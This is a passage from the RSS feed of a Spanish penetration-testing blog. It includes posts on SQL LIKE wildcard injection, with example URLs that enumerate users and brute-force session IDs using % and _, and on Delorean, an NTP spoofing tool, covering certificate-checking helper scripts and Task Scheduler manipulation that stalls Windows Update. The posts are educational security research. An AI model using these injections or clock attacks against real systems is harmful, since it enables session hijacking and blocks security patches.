href=&quot;https://3.bp.blogspot.com/-Y1nmkCzKPac/WFamPIornaI/AAAAAAAAANY/y9Dq-2527koXQRR0xZtpKE4Iy_iUvR54QCEw/s1600/4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;367&quot; src=&quot;https://3.bp.blogspot.com/-Y1nmkCzKPac/WFamPIornaI/AAAAAAAAANY/y9Dq-2527koXQRR0xZtpKE4Iy_iUvR54QCEw/s400/4.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Nota: Volatility solo soporta ficheros de hibernación hasta Windows 7 (A partir de Windows 8, su formato cambia un poco). La nueva herramienta de Matt Suiche en teoría si lo permite, pero la última vez que probé el fichero resultante de la conversión tampoco era reconocido por Volatility.&lt;/div&gt;</description><link>http://www.pentester.es/2016/12/ataques-evil-maid-con-hibernacion.html</link><author>noreply@blogger.com (Ramon Pinuaga)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://3.bp.blogspot.com/-631228_jGRI/WFalKSNOo8I/AAAAAAAAANY/pPsidpi4csAXKNEYJgEg-39Pzdj6yRWRwCEw/s72-c/1.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-2975751509585324310</guid><pubDate>Wed, 17 Feb 2016 07:00:00 +0000</pubDate><atom:updated>2016-02-17T08:04:18.402+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">SeguridadWEB</category><category domain="http://www.blogger.com/atom/ns#">SQLi</category><title>Inyección de comodines SQL en búsquedas de tipo LIKE</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;A continuación voy a hablar de una vulnerabilidad muy poco conocida y tradicionalmente considerada como de poco riesgo, aunque como vamos a ver en algunas situaciones puede tener un gran impacto.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Esta vulnerabilidad consiste en la posibilidad de inyectar un comodín (wildcard) en el campo de búsqueda del operador LIKE de una sentencia SQL.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;OWASP menciona brevemente en sus guías este tipo de&lt;a href=&quot;https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet#Escaping_Wildcard_characters_in_Like_Clauses&quot; target=&quot;&quot;&gt; inyecciones&lt;/a&gt;.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;En SQL tenemos 2 tipos de comodines:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;% que equivale a cualquier cadena de cero o más caracteres.&lt;/li&gt;&lt;li&gt;_ que equivale a cualquier carácter único.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Una aplicación es vulnerable a este ataque cuando realiza una búsqueda de tipo LIKE con un parámetro recibido del usuario sin filtrar estos 2 comodines.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Por ejemplo si tenemos una aplicación con la siguiente URL:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.ejemplo.com/fruta.php?nombre=manzana&quot;&gt;http://www.ejemplo.com/fruta.php?nombre=manzana&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Que muestra un texto extraído de una BBDD mediante una sentencia SQL como la siguiente:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://select%20texto%20from%20tabla%20where%20fruta%20like%20%e2%80%98%24nombre%e2%80%99/&quot;&gt;SELECT texto FROM tabla WHERE fruta LIKE ‘$nombre’&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;En vez de usar la forma simple:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://select%20texto%20from%20tabla%20where%20fruta%3d%e2%80%98%24nombre%e2%80%99/&quot;&gt;SELECT texto FROM tabla WHERE fruta=‘$nombre’&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Aunque la variable $nombre esté saneada para evitar la inyección de SQL (por ejemplo filtrando el carácter comilla simple) sigue siendo posible la inyección de los comodines de búsqueda, de la siguiente forma:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.ejemplo.com/fruta.php?nombre=man%&quot;&gt;http://www.ejemplo.com/fruta.php?nombre=man%&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;En una aplicación de este tipo, el poder alterar la lógica de la búsqueda tal vez no sea crítico, pero ¿y si tenemos otra aplicación como la siguiente? (de la que no conocemos ningún nombre de usuario):&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.ejemplo.com/userfoto.php?nombre=pepe&quot;&gt;http://www.ejemplo.com/userfoto.php?nombre=pepe&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Podemos fácilmente hacer lo siguiente para obtener un listado de todos los usuarios disponibles:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.ejemplo.com/userfoto.php?nombre=a%&quot;&gt;http://www.ejemplo.com/userfoto.php?nombre=a%&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.ejemplo.com/userfoto.php?nombre=b%&quot;&gt;http://www.ejemplo.com/userfoto.php?nombre=b%&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.ejemplo.com/userfoto.php?nombre=c%&quot;&gt;http://www.ejemplo.com/userfoto.php?nombre=c%&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;…&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Podemos automatizar el proceso mediante un pequeño script que nos vaya sacando los nombres de cada usuario carácter a carácter (a lo película juegos de guerra).&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;¿En qué situaciones puede ser peligrosa una vulnerabilidad de este tipo?:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;En formularios de login. Me he encontrado varias veces esta vulnerabilidad en el campo “usuario” de alguno de estos formularios y menos habitualmente en el campo “contraseña”.&lt;/li&gt;&lt;li&gt;En formularios de recuperación de contraseñas. Puede permitirnos resetear la contraseña de terceros usuarios.&lt;/li&gt;&lt;li&gt;En campos que contienen identificadores de sesión o tokens. Nos podría permitir “robar” tokens o sesiones de otros usuarios.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Aunque parezca mentira esto funciona algunas veces:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-W_XA6DFNFgk/VreCisFxklI/AAAAAAAAAK4/7EiiDAh4pIs/s1600/login.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://1.bp.blogspot.com/-W_XA6DFNFgk/VreCisFxklI/AAAAAAAAAK4/7EiiDAh4pIs/s1600/login.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;La inyección del carácter % a veces puede ser problemática, porque suele estar filtrado para evitar ataques de encoding o precisamente porque es decodificado incorrectamente (en este caso podemos probar %25, %2525).&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Hace tiempo me encontré una curiosa situación en una aplicación que autenticaba mediante un identificador de sesión que almacenaba en una base de datos y que extraía mediante una búsqueda vulnerable, de esta forma:&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.ejemplo.com/admin/privado.php?sessionid=0123456789&quot;&gt;http://www.ejemplo.com/admin/privado.php?sessionid=0123456789&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;El servidor filtraba el carácter %, pero se permitía el carácter _ de forma que podíamos explotar la vulnerabilidad de la siguiente forma:&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.ejemplo.com/admin/privado.php?sessionid=__________&quot;&gt;http://www.ejemplo.com/admin/privado.php?sessionid=__________&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Si queríamos acceder a alguna sesión en concreto solo teníamos que hacer un barrido:&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.ejemplo.com/admin/privado.php?sessionid=0_________&quot;&gt;http://www.ejemplo.com/admin/privado.php?sessionid=0_________&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.ejemplo.com/admin/privado.php?sessionid=1_________&quot;&gt;http://www.ejemplo.com/admin/privado.php?sessionid=1_________&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.ejemplo.com/admin/privado.php?sessionid=2_________&quot;&gt;http://www.ejemplo.com/admin/privado.php?sessionid=2_________&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;…&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;¿Porque algunos programadores son víctimas de un bug tan evidente?&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Algunas veces supongo que será por despiste, pero también he detectado que algunos frameworks encapsulan las llamadas SQL de forma transparente para el programador y si internamente usan el operador LIKE, es posible que este ni siquiera lo sepa.&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Por ejemplo en Django la siguiente sentencia:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://result%3dentry.objects.get%28headline__contains%3d%27lennon%27%29/&quot;&gt;result=Entry.objects.get(headline__contains=&#39;Lennon&#39;)&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Equivale a:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://select%20...%20where%20headline%20like%20%27%25lennon%25/&quot;&gt;SELECT ... WHERE headline LIKE &#39;%Lennon%&lt;/a&gt;&#39;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Lo que puede derivar fácilmente en múltiples vulnerabilidades si el desarrollador no es cuidadoso.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;O también este otro &lt;a href=&quot;https://github.com/FriendsOfSymfony/FOSUserBundle/issues/1688&quot;&gt;bug&lt;/a&gt;&amp;nbsp;del mismo estilo en el módulo Propel de Symfony.&lt;/div&gt;</description><link>http://www.pentester.es/2016/02/like-sqli.html</link><author>noreply@blogger.com (Ramon Pinuaga)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://1.bp.blogspot.com/-W_XA6DFNFgk/VreCisFxklI/AAAAAAAAAK4/7EiiDAh4pIs/s72-c/login.png" height="72" width="72"/><thr:total>7</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-3057770327216986365</guid><pubDate>Tue, 26 Jan 2016 08:00:00 +0000</pubDate><atom:updated>2016-01-26T09:00:27.620+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">DefCon</category><category domain="http://www.blogger.com/atom/ns#">Delorean</category><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><category domain="http://www.blogger.com/atom/ns#">NTP</category><title>Herramientas de ayuda para Delorean</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;Pégale un vistazo a otros posts de esta serie:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/delorean.html&quot; target=&quot;_blank&quot;&gt;[1] NTP MitM con Delorean&lt;/a&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/ntp-macosx.html&quot; target=&quot;_blank&quot;&gt;[2] Sincronización de tiempos en Mac OS X&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/ntp-linux.html&quot; target=&quot;_blank&quot;&gt;[3] Sincronización de tiempos en Fedora / Ubuntu&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/ntp-microsoft.html&quot; target=&quot;_blank&quot;&gt;[4] Sincronización de tiempos en Microsoft&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/11/ntp-hsts.html&quot; target=&quot;_blank&quot;&gt;[5] Atacando HTTP Strict Transport Security&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/11/ntp-pki.html&quot; target=&quot;_blank&quot;&gt;[6] Atacando la Infraestructura de Clave Pública (PKI)&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://www.pentester.es/2016/01/ntp-other-attacks.html&quot; target=&quot;_blank&quot;&gt;[7] Otros ataques&lt;/a&gt;&lt;br /&gt;[8] Herramientas de ayuda&lt;br /&gt;&lt;br /&gt;Descargo de responsabilidad: Toda la información se ha obtenido de una  forma empirica, realizando pruebas, y en un periodo de tiempo concreto,  con lo que puede haber cambiado en el momento de leer este artículo.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;Por fin hemos llegado al último post de esta serie sobre Delorean. Llegados a este punto, hemos hablando de los ataques que probamos, sobre la herramienta, y muchas otra cosas. Sin embargo, si prestáis atención al &lt;a href=&quot;https://github.com/pentesteres/delorean&quot; target=&quot;_blank&quot;&gt;repositorio de Deloran&lt;/a&gt;, veréis que hay un par de scripts python de los que no habíamos hablado antes. Son pequeñas herramientas que desarrollé porque necesitaba una funcionalidad concreta pero que no tenía sentido integrarlas con Delorean, así que lo mantuve como herramientas separadas.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;La primera herramienta es &lt;a href=&quot;https://github.com/PentesterES/Delorean/blob/master/hsts_catcher.py&quot; target=&quot;_blank&quot;&gt;hsts_catcher.py&lt;/a&gt;, que es una herramienta muy sencilla que conecta a un website y te devuelve su configuración HSTS. Nada que no puedas hacer con curl y grep:&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;$ &lt;b&gt;./hsts_catcher.py -U https://accounts.google.com -A &quot;Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)&quot;&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;i&gt;max-age=10893354; includeSubDomains&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;La segunda herramienta es&amp;nbsp;&lt;a href=&quot;https://github.com/PentesterES/Delorean/blob/master/crl_checker.py&quot; target=&quot;_blank&quot;&gt;crl_checker.py&lt;/a&gt;, que en bastante más interesante que la anterior. Mientras estuve buscando certificados para usar para mis ataques, me encontré con un problema: Algunos certificados que había encontrado tenían problemas de validez en su cadena, por ejemplo, su root CA había expirado. Lamentablemente, comprobar la validez de cada cadena de forma manual era &lt;strike&gt;una putada&lt;/strike&gt; un proceso muy largo y tedioso, así que la manera más cómoda era usar el propio navegador para comprobar si aceptaba la cadena &amp;nbsp;no. Sin embargo, hay otro problema con esto: Los servidores web necesitan tanto el certificado como la clave privada, y encontrar este clave privada sin saber si luego el certificado te valdrá o no... es un proceso excesivamente costoso como para hacerlo a ciegas. El problema era un circulo vicioso.&lt;br /&gt;&lt;br /&gt;Por eso decidí desarrollar esta herramienta. col_checker.py implementa las primeras etapas de SSL, donde no se requiere en realidad el uso de la clave privada, pero sí se realiza la fase de validación del certificado, con lo que podemos comprobar su validez. Solo tenemos que lanzar la herramienta usando este comando y visitar el puerto con el navegador:&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br style=&quot;text-align: start;&quot; /&gt;&lt;span style=&quot;text-align: start;&quot;&gt;&lt;i&gt;$ &lt;b&gt;./crl_checker.py -p 10443 -c /etc/apache2/ssl/ietf.crt&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-ReFdsfZIbto/VqTNEwf0FrI/AAAAAAAACJE/Skvh7okvDLM/s1600/certOK.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;273&quot; src=&quot;http://3.bp.blogspot.com/-ReFdsfZIbto/VqTNEwf0FrI/AAAAAAAACJE/Skvh7okvDLM/s400/certOK.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;A veces hace falta refrescar varias veces para que aparezca este mensaje. Probablemente mi implementación del hanshake d SSL está demasiado hardcodada, pero no me he metido a fondo a mirarlo ya que la herramienta sigue siendo útil.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Un mensaje como el de arriba significa que el certificado es perfecto para nuestro ataque. Salen algunos mensajes de advertencia sobre el nombre del hosts o la fecha, pero estos son lógicos y no nos preocupan, ya que estamos corriendo el servidor en una IP local y la fecha... es algo que podemos solucionar con Delorean.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-hrjJeRHKrvQ/VqTNJ22J4yI/AAAAAAAACJM/06GX6rLe5NY/s1600/certFAIL.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;293&quot; src=&quot;http://1.bp.blogspot.com/-hrjJeRHKrvQ/VqTNJ22J4yI/AAAAAAAACJM/06GX6rLe5NY/s400/certFAIL.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Si tienes mala suerte, verás otros mensaje de advertencia, como por ejemplo &quot;the issuer certificate is unknown&quot; que quiere decir que la CA que firma l certificado probablemente ha sido eliminada de la lista de confianza del navegador, o algún otro problema similar, así que mejor buscar otra víctima.&lt;/div&gt;</description><link>http://www.pentester.es/2016/01/ntp-helper-tools.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-ReFdsfZIbto/VqTNEwf0FrI/AAAAAAAACJE/Skvh7okvDLM/s72-c/certOK.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-3583683673005862356</guid><pubDate>Mon, 25 Jan 2016 06:36:00 +0000</pubDate><atom:updated>2016-01-25T07:36:39.766+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">DefCon</category><category domain="http://www.blogger.com/atom/ns#">Delorean</category><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><category domain="http://www.blogger.com/atom/ns#">MitM</category><category domain="http://www.blogger.com/atom/ns#">NTP</category><title>Otros ataques usando Delorean</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;Pégale un vistazo a otros posts de esta serie:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/delorean.html&quot; target=&quot;_blank&quot;&gt;[1] NTP MitM con Delorean&lt;/a&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/ntp-macosx.html&quot; target=&quot;_blank&quot;&gt;[2] Sincronización de tiempos en Mac OS X&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/ntp-linux.html&quot; target=&quot;_blank&quot;&gt;[3] Sincronización de tiempos en Fedora / Ubuntu&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/ntp-microsoft.html&quot; target=&quot;_blank&quot;&gt;[4] Sincronización de tiempos en Microsoft&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/11/ntp-hsts.html&quot; target=&quot;_blank&quot;&gt;[5] Atacando HTTP Strict Transport Security&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/11/ntp-pki.html&quot; target=&quot;_blank&quot;&gt;[6] Atacando la Infraestructura de Clave Pública (PKI)&lt;/a&gt;&lt;/div&gt;&lt;a href=&quot;http://www.pentester.es/2016/01/ntp-other-attacks.html&quot; target=&quot;_blank&quot;&gt;[7] Otros ataques&lt;/a&gt;&lt;br /&gt;[8] Herramientas de ayuda&lt;br /&gt;&lt;br /&gt;Descargo de responsabilidad: Toda la información se ha obtenido de una  forma empirica, realizando pruebas, y en un periodo de tiempo concreto,  con lo que puede haber cambiado en el momento de leer este artículo.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;Los ataques que hemos estado viendo en los artículos anteriores son los que considero que son más probables y que tienen un mayor impacto. Sin embargo, también estuve probando otras opciones utilizando ataques de sincronización. Algunos de ellos funcionaros, &amp;nbsp;pesar de ser poco probables, y otros de ellos no funcionaron en absoluto.&lt;br /&gt;&lt;br /&gt;Uno de los ataques que funcionó fue un ataque contra el planificador de taras de Windows. Como probablemente sepáis, hay un servicio que corre en las máquinas Windows que se encarga de ejecutar ciertas tareas de mantenimiento en segundo plano, como por ejemplo la propia tareas de sincronización de hora.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-CAdvZwTPKSk/VqSYwy183VI/AAAAAAAACIQ/G4nats6Sg3g/s1600/sched1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;283&quot; src=&quot;http://1.bp.blogspot.com/-CAdvZwTPKSk/VqSYwy183VI/AAAAAAAACIQ/G4nats6Sg3g/s400/sched1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;El planificador de tareas guarda la información de la última vez que una tarea se ejecutó, y la siguiente vez que lo hará. Estos campos son importantes porque, depende de como se haya configurado la tarea, el &quot;Next Run Time&quot; a veces se calcula en base al &quot;Last Run Time&quot;, lo cual nos da la oportunidad de manipular la siguiente ejecución de la tarea si conseguimos manipular al reloj usando Delorean.&lt;br /&gt;&lt;br /&gt;No todas las tareas calculan la hora de la siguiente ejecución de esta manera, pero hay algunas tareas interesantes que sí que lo hacen, como por ejemplo el servicio de actualizaciones automáticas de Windows.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-kFOKwutNkP4/VqSY2r8fnAI/AAAAAAAACIY/rvxTTQShy9E/s1600/sched2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;263&quot; src=&quot;http://1.bp.blogspot.com/-kFOKwutNkP4/VqSY2r8fnAI/AAAAAAAACIY/rvxTTQShy9E/s400/sched2.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;¿Qué ocurre entonces si manipulamos el reloj usando Delorean, tal y como vimos en anteriores artículos, y la tarea de actualizaciones automáticas es ejecutada? Pues que el &quot;Last Run Time&quot; se ejecutará con la fecha manipulada (por ejemplo, 2020), así que la siguiente ejecución de la tarea se calculará en base a esta fecha, es decir, ocurrirá en algún momento de 2020. Esto no debería ser un problema siempre y cuando el equipo se mantenga con la fecha manipulada para siempre, pero si en algún momento el equipo vuelve a la fecha original... la siguiente ejecución del servicio de actualizaciones automáticas no se ejecutará en los próximos 4 años, con lo que el usuario no será advertido de la existencia de nuevas actualizaciones y parches de seguridad si no lo comprueba manualmente.&lt;br /&gt;&lt;br /&gt;En realidad, este es un ataque poco problema, ya que Windows es la plataforma en la que es más complicado realizar un ataque con Delorean, y porque al menos yo no encontré una manera de devolver el reloj a su hora original sin la intervención del usuario. Sin embargo, otras tareas y otras plataformas (como cron en Linux, por ejemplo) podrían también ser manipuladas de una manera similar.&lt;/div&gt;</description><link>http://www.pentester.es/2016/01/ntp-other-attacks.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-CAdvZwTPKSk/VqSYwy183VI/AAAAAAAACIQ/G4nats6Sg3g/s72-c/sched1.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-556821027972379369</guid><pubDate>Wed, 04 Nov 2015 09:30:00 +0000</pubDate><atom:updated>2015-11-04T10:30:03.043+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">DefCon</category><category domain="http://www.blogger.com/atom/ns#">Delorean</category><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><category domain="http://www.blogger.com/atom/ns#">MitM</category><category domain="http://www.blogger.com/atom/ns#">NTP</category><title>Atacando la Infraestructura de Clave Pública</title><description>&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Pégale un vistazo a otros posts de esta serie:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/delorean.html&quot; target=&quot;_blank&quot;&gt;[1] NTP MitM con Delorean&lt;/a&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/ntp-macosx.html&quot; target=&quot;_blank&quot;&gt;[2] Sincronización de tiempos en Mac OS X&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;http://www.pentester.es/2015/10/ntp-linux.html&quot; target=&quot;_blank&quot;&gt;[3] Sincronización de tiempos en 